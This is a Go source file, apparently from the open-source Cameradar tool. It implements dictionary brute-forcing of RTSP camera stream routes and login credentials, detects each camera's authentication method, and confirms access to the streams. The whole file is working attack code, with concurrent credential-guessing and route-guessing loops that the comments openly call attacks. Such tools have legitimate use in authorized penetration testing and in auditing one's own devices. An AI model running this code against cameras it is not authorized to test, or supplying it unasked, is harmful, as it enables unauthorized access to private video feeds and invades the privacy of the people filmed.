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attack.go
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attack.go
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package cameradar
import (
"fmt"
"time"
"github.com/Ullaakut/go-curl"
)
// HTTP responses.
const (
httpOK = 200
httpUnauthorized = 401
httpForbidden = 403
httpNotFound = 404
)
// CURL RTSP request types.
const (
rtspDescribe = 2
rtspSetup = 4
)
// Authentication types.
const (
authNone = 0
authBasic = 1
authDigest = 2
)
// Route that should never be a constructor default.
const dummyRoute = "/0x8b6c42"
// Attack attacks the given targets and returns the accessed streams.
func (s *Scanner) Attack(targets []Stream) ([]Stream, error) {
if len(targets) == 0 {
return nil, fmt.Errorf("no stream found")
}
// Most cameras will be accessed successfully with these two attacks.
s.term.StartStepf("Attacking routes of %d streams", len(targets))
streams := s.AttackRoute(targets)
s.term.StartStepf("Attempting to detect authentication methods of %d streams", len(targets))
streams = s.DetectAuthMethods(streams)
s.term.StartStepf("Attacking credentials of %d streams", len(targets))
streams = s.AttackCredentials(streams)
s.term.StartStep("Validating that streams are accessible")
streams = s.ValidateStreams(streams)
// But some cameras run GST RTSP Server which prioritizes 401 over 404 contrary to most cameras.
// For these cameras, running another route attack will solve the problem.
for _, stream := range streams {
if !stream.RouteFound || !stream.CredentialsFound || !stream.Available {
s.term.StartStepf("Second round of attacks")
streams = s.AttackRoute(streams)
s.term.StartStep("Validating that streams are accessible")
streams = s.ValidateStreams(streams)
break
}
}
s.term.EndStep()
return streams, nil
}
// ValidateStreams tries to setup the stream to validate whether or not it is available.
func (s *Scanner) ValidateStreams(targets []Stream) []Stream {
for i := range targets {
targets[i].Available = s.validateStream(targets[i])
time.Sleep(s.attackInterval)
}
return targets
}
// AttackCredentials attempts to guess the provided targets' credentials using the given
// dictionary or the default dictionary if none was provided by the user.
func (s *Scanner) AttackCredentials(targets []Stream) []Stream {
resChan := make(chan Stream)
defer close(resChan)
for i := range targets {
go s.attackCameraCredentials(targets[i], resChan)
}
for range targets {
attackResult := <-resChan
if attackResult.CredentialsFound {
targets = replace(targets, attackResult)
}
}
return targets
}
// AttackRoute attempts to guess the provided targets' streaming routes using the given
// dictionary or the default dictionary if none was provided by the user.
func (s *Scanner) AttackRoute(targets []Stream) []Stream {
resChan := make(chan Stream)
defer close(resChan)
for i := range targets {
go s.attackCameraRoute(targets[i], resChan)
}
for range targets {
attackResult := <-resChan
if attackResult.RouteFound {
targets = replace(targets, attackResult)
}
}
return targets
}
// DetectAuthMethods attempts to guess the provided targets' authentication types, between
// digest, basic auth or none at all.
func (s *Scanner) DetectAuthMethods(targets []Stream) []Stream {
for i := range targets {
targets[i].AuthenticationType = s.detectAuthMethod(targets[i])
time.Sleep(s.attackInterval)
var authMethod string
switch targets[i].AuthenticationType {
case authNone:
authMethod = "no"
case authBasic:
authMethod = "basic"
case authDigest:
authMethod = "digest"
default:
authMethod = "unknown:" + string(targets[i].AuthenticationType)
}
s.term.Debugf("Stream %s uses %s authentication method\n", GetCameraRTSPURL(targets[i]), authMethod)
}
return targets
}
func (s *Scanner) attackCameraCredentials(target Stream, resChan chan<- Stream) {
for _, username := range s.credentials.Usernames {
for _, password := range s.credentials.Passwords {
ok := s.credAttack(target, username, password)
if ok {
target.CredentialsFound = true
target.Username = username
target.Password = password
resChan <- target
return
}
time.Sleep(s.attackInterval)
}
}
target.CredentialsFound = false
resChan <- target
}
func (s *Scanner) attackCameraRoute(target Stream, resChan chan<- Stream) {
// If the stream responds positively to the dummy route, it means
// it doesn't require (or respect the RFC) a route and the attack
// can be skipped.
ok := s.routeAttack(target, dummyRoute)
if ok {
target.RouteFound = true
target.Routes = append(target.Routes, "/")
resChan <- target
return
}
// Otherwise, bruteforce the routes.
for _, route := range s.routes {
ok := s.routeAttack(target, route)
if ok {
target.RouteFound = true
target.Routes = append(target.Routes, route)
}
time.Sleep(s.attackInterval)
}
resChan <- target
}
func (s *Scanner) detectAuthMethod(stream Stream) int {
c := s.curl.Duphandle()
attackURL := fmt.Sprintf(
"rtsp://%s:%d/%s",
stream.Address,
stream.Port,
stream.Route(),
)
s.setCurlOptions(c)
// Send a request to the URL of the stream we want to attack.
_ = c.Setopt(curl.OPT_URL, attackURL)
// Set the RTSP STREAM URI as the stream URL.
_ = c.Setopt(curl.OPT_RTSP_STREAM_URI, attackURL)
_ = c.Setopt(curl.OPT_RTSP_REQUEST, rtspDescribe)
// Perform the request.
err := c.Perform()
if err != nil {
s.term.Errorf("Perform failed for %q (auth %d): %v", attackURL, stream.AuthenticationType, err)
return -1
}
authType, err := c.Getinfo(curl.INFO_HTTPAUTH_AVAIL)
if err != nil {
s.term.Errorf("Getinfo failed: %v", err)
return -1
}
if s.debug {
s.term.Debugln("DESCRIBE", attackURL, "RTSP/1.0 >", authType)
}
return authType.(int)
}
func (s *Scanner) routeAttack(stream Stream, route string) bool {
c := s.curl.Duphandle()
attackURL := fmt.Sprintf(
"rtsp://%s:%s@%s:%d/%s",
stream.Username,
stream.Password,
stream.Address,
stream.Port,
route,
)
s.setCurlOptions(c)
// Set proper authentication type.
_ = c.Setopt(curl.OPT_HTTPAUTH, stream.AuthenticationType)
_ = c.Setopt(curl.OPT_USERPWD, fmt.Sprint(stream.Username, ":", stream.Password))
// Send a request to the URL of the stream we want to attack.
_ = c.Setopt(curl.OPT_URL, attackURL)
// Set the RTSP STREAM URI as the stream URL.
_ = c.Setopt(curl.OPT_RTSP_STREAM_URI, attackURL)
_ = c.Setopt(curl.OPT_RTSP_REQUEST, rtspDescribe)
// Perform the request.
err := c.Perform()
if err != nil {
s.term.Errorf("Perform failed for %q (auth %d): %v", attackURL, stream.AuthenticationType, err)
return false
}
// Get return code for the request.
rc, err := c.Getinfo(curl.INFO_RESPONSE_CODE)
if err != nil {
s.term.Errorf("Getinfo failed: %v", err)
return false
}
if s.debug {
s.term.Debugln("DESCRIBE", attackURL, "RTSP/1.0 >", rc)
}
// If it's a 401 or 403, it means that the credentials are wrong but the route might be okay.
// If it's a 200, the stream is accessed successfully.
if rc == httpOK || rc == httpUnauthorized || rc == httpForbidden {
return true
}
return false
}
func (s *Scanner) credAttack(stream Stream, username string, password string) bool {
c := s.curl.Duphandle()
attackURL := fmt.Sprintf(
"rtsp://%s:%s@%s:%d/%s",
username,
password,
stream.Address,
stream.Port,
stream.Route(),
)
s.setCurlOptions(c)
// Set proper authentication type.
_ = c.Setopt(curl.OPT_HTTPAUTH, stream.AuthenticationType)
_ = c.Setopt(curl.OPT_USERPWD, fmt.Sprint(username, ":", password))
// Send a request to the URL of the stream we want to attack.
_ = c.Setopt(curl.OPT_URL, attackURL)
// Set the RTSP STREAM URI as the stream URL.
_ = c.Setopt(curl.OPT_RTSP_STREAM_URI, attackURL)
_ = c.Setopt(curl.OPT_RTSP_REQUEST, rtspDescribe)
// Perform the request.
err := c.Perform()
if err != nil {
s.term.Errorf("Perform failed for %q (auth %d): %v", attackURL, stream.AuthenticationType, err)
return false
}
// Get return code for the request.
rc, err := c.Getinfo(curl.INFO_RESPONSE_CODE)
if err != nil {
s.term.Errorf("Getinfo failed: %v", err)
return false
}
if s.debug {
s.term.Debugln("DESCRIBE", attackURL, "RTSP/1.0 >", rc)
}
// If it's a 404, it means that the route is incorrect but the credentials might be okay.
// If it's a 200, the stream is accessed successfully.
if rc == httpOK || rc == httpNotFound {
return true
}
return false
}
func (s *Scanner) validateStream(stream Stream) bool {
c := s.curl.Duphandle()
attackURL := fmt.Sprintf(
"rtsp://%s:%s@%s:%d/%s",
stream.Username,
stream.Password,
stream.Address,
stream.Port,
stream.Route(),
)
s.setCurlOptions(c)
// Set proper authentication type.
_ = c.Setopt(curl.OPT_HTTPAUTH, stream.AuthenticationType)
_ = c.Setopt(curl.OPT_USERPWD, fmt.Sprint(stream.Username, ":", stream.Password))
// Send a request to the URL of the stream we want to attack.
_ = c.Setopt(curl.OPT_URL, attackURL)
// Set the RTSP STREAM URI as the stream URL.
_ = c.Setopt(curl.OPT_RTSP_STREAM_URI, attackURL)
_ = c.Setopt(curl.OPT_RTSP_REQUEST, rtspSetup)
_ = c.Setopt(curl.OPT_RTSP_TRANSPORT, "RTP/AVP;unicast;client_port=33332-33333")
// Perform the request.
err := c.Perform()
if err != nil {
s.term.Errorf("Perform failed for %q (auth %d): %v", attackURL, stream.AuthenticationType, err)
return false
}
// Get return code for the request.
rc, err := c.Getinfo(curl.INFO_RESPONSE_CODE)
if err != nil {
s.term.Errorf("Getinfo failed: %v", err)
return false
}
if s.debug {
s.term.Debugln("SETUP", attackURL, "RTSP/1.0 >", rc)
}
// If it's a 200, the stream is accessed successfully.
if rc == httpOK {
return true
}
return false
}
func (s *Scanner) setCurlOptions(c Curler) {
// Do not write sdp in stdout
_ = c.Setopt(curl.OPT_WRITEFUNCTION, doNotWrite)
// Do not use signals (would break multithreading).
_ = c.Setopt(curl.OPT_NOSIGNAL, 1)
// Do not send a body in the describe request.
_ = c.Setopt(curl.OPT_NOBODY, 1)
// Set custom timeout.
_ = c.Setopt(curl.OPT_TIMEOUT_MS, int(s.timeout/time.Millisecond))
// Enable verbose logs if verbose mode is on.
if s.verbose {
_ = c.Setopt(curl.OPT_VERBOSE, 1)
} else {
_ = c.Setopt(curl.OPT_VERBOSE, 0)
}
}
// HACK: See https://stackoverflow.com/questions/3572397/lib-curl-in-c-disable-printing
func doNotWrite([]uint8, interface{}) bool {
return true
}